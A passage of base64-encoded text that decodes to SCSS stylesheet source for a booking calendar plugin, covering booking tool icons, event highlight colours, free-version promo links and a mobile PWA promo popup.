lYXNlO1xuICBsaW5lLWhlaWdodDogMTtcbiAgei1pbmRleDogMTA7XG4gIFxuICAmOmhvdmVyIHtcbiAgICBvcGFjaXR5OiAxO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgfVxufVxuXG5kaXYubW9yZV9kZXRhaWxzIHtcbiAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG4gIGdyaWQtcm93OiA0O1xuICBtYXJnaW4tdG9wOiAyMHB4O1xuICBtYXJnaW4tcmlnaHQ6IC03cHg7XG4gIG1hcmdpbi1ib3R0b206IC01cHg7XG4gIG1hcmdpbi1sZWZ0OiAtN3B4O1xuICBwYWRkaW5nLXRvcDogMTVweDtcbiAgcGFkZGluZy1yaWdodDogN3B4O1xuICBwYWRkaW5nLWxlZnQ6IDdweDtcbiAgZGlzcGxheTogbm9uZTtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgwLCAwLCAwLCAwLjEpO1xuICB1bCB7XG4gICAgbGlzdC1zdHlsZS10eXBlOiBub25lO1xuICAgIHBhZGRpbmc6IDBweDtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICBsaSB7XG4gICAgICBtYXJnaW4tYm90dG9tOiA1cHg7XG4gICAgICBmb250LXNpemU6IDAuOWVtO1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxOXB4O1xuICAgIH1cbiAgfVxufVxuLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlcbiAgLmNvbmZpcm0tZGVsZXRlOm5vdChbc3R5bGUqPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyddKSB7XG4gIGhlaWdodDogMTVweDtcbiAgbWFyZ2luOiAwO1xuICBwYWRkaW5nOiAwO1xuICBvdmVyZmxvdzogaGlkZGVuO1xufVxuXG5zcGFuLmFtb3VudF92YWx1ZSB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgcmlnaHQ6IDBweDtcbiAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgZm9udC1zaXplOiAxLjJlbTtcbn1cblxuLmJvb2tpbmdfZHVlX2Ftb3VudCAuYW1vdW50X3ZhbHVlIHtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbn1cblxuZGl2LmJvb2tpbmdfdG9vbHMge1xuICB3aWR0aDogMTAwJTtcbiAgZGlzcGxheTogZmxleDtcbiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLmJvb2tpbmdfdG9vbF9pdGVtIHtcbiAgICBmbGV4LWdyb3c6IDE7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGEge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgfVxuICAgIC5zbG4tYnRuLS1pY29uIHtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB3aWR0aDogMzBweDtcbiAgICAgICAgaGVpZ2h0OiAzMHB4O1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIHRvcDogdW5zZXQ7XG4gICAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgICAgYm90dG9tOiB1bnNldDtcbiAgICAgICAgY29sb3I6ICRjbF9kX2ljb247XG4gICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICB9XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiAkY2xfZF9pY29uLS1ob3ZlcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmOm50aC1jaGlsZCgxKSB7XG4gICAgICBhIHtcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgIH1cbiAgICB9XG4gICAgJjpudGgtY2hpbGQoMykge1xuICAgICAgYSB7XG4gICAgICAgIHRleHQtYWxpZ246IHJpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgICBhOmhvdmVyIHtcbiAgICAgIC5zbG4tYnRuLS1pY29uIHtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiAkY2xfZF9pY29uLS1ob3ZlcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLnNsbi1mcmVlLXZlcnNpb24ge1xuICAuYm9va2luZ190b29sX2l0ZW1fcHJvbW9saW5rIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIHdpZHRoOiBtYXgtY29udGVudDtcbiAgICBwYWRkaW5nOiAwLjc1ZW0gMWVtIDAuNWVtO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiAxMDAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjc1O1xuICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMTgsIDY3LCAxMjEsIDEpO1xuICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcbiAgICAgIDkwZGVnLFxuICAgICAgcmdiYSgxOCwgNjcsIDEyMSwgMSkgMCUsXG4gICAgICByZ2JhKDM0LCA4NywgMTQ1LCAxKSA1MSUsXG4gICAgICByZ2JhKDE4LCA2NywgMTIxLCAxKSAxMDAlXG4gICAgKTtcbiAgICBvcGFjaXR5OiAwO1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIHRyYW5zaXRpb246IG9wYWNpdHkgMTUwbXM7XG4gICAgc3Ryb25nIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCBjdXJyZW50Q29sb3I7XG4gICAgfVxuICAgICY6OmJlZm9yZSB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBjb250ZW50OiAnJztcbiAgICAgIHdpZHRoOiAwO1xuICAgICAgaGVpZ2h0OiAwO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiA1MCU7XG4gICAgICBsZWZ0OiAtN3B4O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAgICAgYm9yZGVyLXRvcDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyLXJpZ2h0OiA4cHggc29saWQgcmdiYSgxOCwgNjcsIDEyMSwgMSk7XG4gICAgICBib3JkZXItYm90dG9tOiA4cHggc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgfVxuICB9XG4gIC5ib29raW5nX3Rvb2xfaXRlbSxcbiAgLm1vcmVfZGV0YWlscyB1bCB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICAuYm9va2luZ190b29sX2l0ZW1fcHJvbW9saW5rIHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5tb3JlX2RldGFpbHMgdWwgbGkge1xuICAgIG9wYWNpdHk6IDAuNTtcbiAgfVxuXG4gIC5tb3JlX2RldGFpbHNfcHJvbW9saW5rIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBkaXNwbGF5OiBncmlkO1xuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byBhdXRvO1xuICAgIGdyaWQtdGVtcGxhdGUtcm93czogMWZyO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IGNhbGMoMTAwJSArIDEwcHgpO1xuICAgIGxlZnQ6IDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcbiAgICBjb2xvcjogJGNsX2RfdGV4dC0tZXZpZDtcbiAgICBzcGFuIHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICB9XG4gICAgc3Ryb25nIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIHBhZGRpbmc6IDAgMC41ZW07XG4gICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDM0LCA4NywgMTQ1LCAxKTtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICAgIC8qIEZJWCAwOTIwMjNcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDAuNWVtO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcblx0XHRcdFx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRcdFx0XHRjb250ZW50OiBcIlxcZjA5Y1wiO1xuXHRcdFx0fVxuXHRcdFx0Ki9cbiAgICB9XG5cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgfVxufVxuLmNvbmZpcm0tZGVsZXRlIHtcbiAgbWFyZ2luLXRvcDogMzBweDtcbiAgcGFkZGluZy1yaWdodDogMmVtO1xuICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gIC5jbG9zZSB7XG4gICAgdG9wOiAtMzVweCAhaW1wb3J0YW50O1xuICB9XG59XG5cbi5yb3RhdGUge1xuICAmOmFmdGVyIHtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7XG4gICAgY29sb3I6ICRjbF9kX3RleHQtYTU7XG4gICAgdHJhbnNpdGlvbjpcbiAgICAgIGJhY2tncm91bmQtY29sb3IgMjAwbXMsXG4gICAgICBjb2xvciAzMDBtcyxcbiAgICAgIG9wYWNpdHkgMjUwbXM7XG4gIH1cbiAgJjpob3ZlciB7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICY6YWZ0ZXIge1xuICAgICAgY29sb3I6ICRjbF9kX2ljb24tLWhvdmVyO1xuICAgIH1cbiAgfVxufVxuXG5kaXYuYm9va2luZ190b29scyAuYm9va2luZ190b29sX2l0ZW0uZGlzYWJsZWQgYSBpLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICBjb2xvcjogJGNsX2RfaWNvbjtcbiAgb3BhY2l0eTogMC40O1xufVxuZGl2LmJvb2tpbmdfdG9vbHMgLmJvb2tpbmdfdG9vbF9pdGVtLmRpc2FibGVkIGEgaS5zbG4tYnRuLS1pY29uOmFmdGVyOmhvdmVyIHtcbiAgY29sb3I6ICRjbF9kX2ljb247XG4gIG9wYWNpdHk6IDAuNDtcbn1cbmRpdi5ib29raW5nX3Rvb2xzIC5ib29raW5nX3Rvb2xfaXRlbS5kaXNhYmxlZCBhIHtcbiAgYm94LXNoYWRvdzogbm9uZTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kYXktZXZlbnQtbWFpbi1ibG9jayB7XG4gIG92ZXJmbG93OiB2aXNpYmxlO1xufVxuI2NhbC1kYXktcGFuZWwtaG91ciAuY2FsLWRheS1ob3VyLXBhcnQgLmNhbC1kYXktaG91ci1wYXJ0LWZpcnN0LWNvbHVtbiB7XG4gIGhlaWdodDogMTAwcHg7XG4gIHdpZHRoOiAyMDBweDtcbn1cblxuJGNsX2Rfd2FybmluZzogI2YyZDg5ZTtcbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgd2lkdGg6IDgwcHg7XG4gIGxpbmUtaGVpZ2h0OiAzMHB4O1xuICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIC13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNjM2MzYzM7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2MzYzNjMztcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG59XG4jY2FsLWRheS1ib3ggLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtZGFuZ2VyIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNhZDIxMjE7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2FkMjEyMTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC13YXJuaW5nIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNmZjlkMDI7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2ZmOWQwMjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1pbmZvIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMGIwZmY7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzFlOTBmZjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1pbnZlcnNlIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMxYjFiMWI7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzFiMWIxYjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM1M2E5MWE7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzUzYTkxYTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zcGVjaWFsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZTZmZjtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM4MDAwODA7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzgwMDA4MDtcbn1cbiNjYWwtZGF5LWJveCAuYXR0LXVuYXZhaWxhYmxlLWhpZ2hsaWdodCB7XG4gIGhlaWdodDogMTAwcHg7XG4gIHdpZHRoOiAyMDBweDtcbiAgbGVmdDogODJweDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjYzNjM2MzO1xufVxuLmV2ZW50IHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGJhY2tncm91bmQtY29sb3I6ICNjM2MzYzM7XG4gIHdpZHRoOiAyNHB4O1xuICBoZWlnaHQ6IDEycHg7XG4gIG1hcmdpbi1yaWdodDogMnB4O1xuICBtYXJnaW4tYm90dG9tOiAycHg7XG59XG4uZXZlbnQtYmxvY2sge1xuICBkaXNwbGF5OiBibG9jaztcbiAgYmFja2dyb3VuZC1jb2xvcjogI2MzYzNjMztcbiAgd2lkdGg6IDIwcHg7XG4gIGhlaWdodDogMTAwJTtcbn1cbi5jYWwtZXZlbnQtbGlzdCAuZXZlbnQucHVsbC1sZWZ0IHtcbiAgbWFyZ2luLXRvcDogM3B4O1xufVxuLmV2ZW50LWRhbmdlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNmMjllOWU7XG59XG4uZXZlbnQtaW5mbyB7XG4gIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX2JnLWxpZ2h0Ymx1ZTtcbn1cbi5ldmVudC13YXJuaW5nIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2Rfd2FybmluZztcbn1cbi5ldmVudC1pbnZlcnNlIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzFiMWIxYjtcbn1cbi5ldmVudC1zdWNjZXNzIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2FiZjI5ZTtcbn1cbi5ldmVudC1zcGVjaWFsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzgwMDA4MDtcbn1cblxuI2NhbC1kYXktYm94IHtcbiAgLmRheS1oaWdobGlnaHQ6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0IHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkZGRkO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNkZGRkZGQ7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LWRhbmdlcjpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtZGFuZ2VyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjI5ZTllO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMjllOWU7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXdhcm5pbmc6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXdhcm5pbmcge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX3dhcm5pbmc7XG4gICAgLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlfX2hlYWRlcjo6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2Rfd2FybmluZztcbiAgICB9XG4gIH1cbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2RfYmctbGlnaHRibHVlO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX2JnLWxpZ2h0Ymx1ZTtcbiAgICB9XG4gIH1cbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZTpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI2MxYzFjMTtcbiAgICAuZGF5LWV2ZW50LWl0ZW1fX2NhbGVuZGFyLWRheV9faGVhZGVyOjphZnRlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYzFjMWMxO1xuICAgIH1cbiAgfVxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzOmhvdmVyLFxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNjlkMDQ0O1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICM2OWQwNDQ7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXNwZWNpYWw6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXNwZWNpYWwge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmU2ZmY7XG4gICAgLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlfX2hlYWRlcjo6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZTZmZjtcbiAgICB9XG4gIH1cbn1cbi5jYWwtbW9udGgtYm94IHtcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZyxcbiAgLmRheS1oaWdobGlnaHQ6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LFxuICAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1kYW5nZXI6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LWRhbmdlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtd2FybmluZyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZTpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZSxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3VjY2Vzczpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3VjY2VzcyxcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3BlY2lhbDpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtc3BlY2lhbCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIH1cbn1cblxuLy8qIERJTUlUUkkgLy8gRU5EICovL1xuLnNsbi1jYWxlbmRhci1zaWRlYmFyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgYWxpZ24taXRlbXM6IGZsZXgtZW5kO1xuICAuc2xuLWhlbHAtYnV0dG9uX19ibG9jayB7XG4gICAgbWFyZ2luLWJvdHRvbTogY2FsYygxZW0gKyA2cHgpO1xuICB9XG59XG4vLyBNb2JpbGUgUFdBIHByb21vIChQUk8gKyBGUkVFKTogc2hhcmVkIHNoZWxsICguc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXApIGFuZCBjYXJkICguc2xuLXBvcHVwLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbykuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vLXdyYXAge1xuICBwb3NpdGlvbjogZml4ZWQ7XG4gIGluc2V0OiAwO1xuICB6LWluZGV4OiAxMDAwMDA7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBwYWRkaW5nOiAxcmVtO1xuICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAvLyBXUCBhZG1pbiBiYXIgKG1vYmlsZSlcbiAgLmFkbWluLWJhciAmIHtcbiAgICB0b3A6IDQ2cHg7XG4gICAgQG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogNzgzcHgpIHtcbiAgICAgIHRvcDogMzJweDtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tby1iYWNrZHJvcCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgaW5zZXQ6IDA7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMDtcbiAgYm9yZGVyOiAwO1xuICBiYWNrZ3JvdW5kOiByZ2JhKDE1LCAyMywgNDIsIDAuNDUpO1xuICBjdXJzb3I6IHBvaW50ZXI7XG59XG5cbi5zbG4tcG9wdXAuc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB0b3A6IGF1dG87XG4gIGxlZnQ6IGF1dG87XG4gIHotaW5kZXg6IDE7XG4gIG1heC13aWR0aDogMjAuNXJlbTtcbiAgd2lkdGg6IDEwMCU7XG4gIG1hcmdpbjogMDtcbiAgYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgYm9yZGVyLXJhZGl1czogMTRweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2Y4ZmFmYztcbiAgcGFkZGluZzogMS4zNXJlbSAxLjEyNXJlbSAxcmVtO1xuICBmb250LXNpemU6IDE2cHg7XG4gIGxpbmUtaGVpZ2h0OiAxLjQ1O1xuICB0ZXh0LWFsaWduOiBsZWZ0O1xuICBib3gtc2hhZG93OlxuICAgIDAgMXB4IDJweCByZ2JhKDE1LCAyMywgNDIsIDAuMDYpLFxuICAgIDAgMTJweCA0MHB4IHJnYmEoMTUsIDIzLCA0MiwgMC4xOCk7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMTQ4LCAxNjMsIDE4NCwgMC4zNSk7XG59XG5cbkBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNDAwcHgpIHtcbiAgLnNsbi1wb3B1cC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8ge1xuICAgIHBhZGRpbmc6IDEuMTI1cmVtIDFyZW0gMC44NzVyZW07XG4gICAgbWF4LXdpZHRoOiBub25lO1xuICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgfVxufVxuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIC5zbG4tcG9wdXAtLWNsb3NlLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fY2xvc2UteCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiAwLjVyZW07XG4gIHJpZ2h0OiAwLjVyZW07XG4gIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICBib3JkZXI6IDA7XG4gIHBhZGRpbmc6IDAuMzVyZW07XG4gIG1hcmdpbjogMDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBtaW4td2lkdGg6IDIuMjVyZW07XG4gIG1pbi1oZWlnaHQ6IDIuMjVyZW07XG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIHotaW5kZXg6IDI7XG4gIGNvbG9yOiAjNjQ3NDhiO1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGZvbnQtc2l6ZTogMS4yZW07XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcblxuICAmOjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjQxMCc7XG4gICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZScsICdGb250IEF3ZXNvbWUgNiBGcmVlJztcbiAgICBmb250LXdlaWdodDogOTAwO1xuICB9XG59XG5cbi5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW8gLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19fY29udGVudC5zbG4tcG9wdXAtY29udGVudCB7XG4gIHdpZHRoOiAxMDAlO1xuICBtYXJnaW46IDAgMCAxcmVtO1xuICBwYWRkaW5nOiAwIDEuNzVyZW0gMCAwO1xufVxuXG4uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vIC5zbG4tcG9wdXAtY29udGVudCAuc2xuLXBvcHVwLS10ZXh0LnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tb19faGVhZGxpbmUge1xuICBmb250LXNpemU6IDEuMDYyNXJlbTtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgY29sb3I6ICMwZjE3MmE7XG4gIG1hcmdpbjogMCAwIDAuNXJlbTtcbiAgcGFkZGluZzogMDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgbGluZS1oZWlnaHQ6IDEuMztcbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbyAuc2xuLXBvcHVwLWNvbnRlbnQgLnNsbi1wb3B1cC0tdGV4dC5zbG4tZnJlZS1wd2EtY2FsZW5kYXItcHJvbW9fX2xlZGUge1xuICBmb250LXNpemU6IDAuOTM3NXJlbTtcbiAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgY29sb3I6ICM0NzU1Njk7XG4gIG1hcmdpbjogMDtcbiAgcGFkZGluZzogMDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbn1cblxuLnNsbi1mcmVlLXB3YS1jYWxlbmRhci1wcm9tbyAuc2xuLXBvcHVwLS1idXR0b24uc2xuLWZyZWUtcHdhLWNhbGVuZGFyLXByb21vX19jdGEge1xuICBkaXNwbGF5OiBmbGV4O1xuICBhbGlnbi1pdGVtczog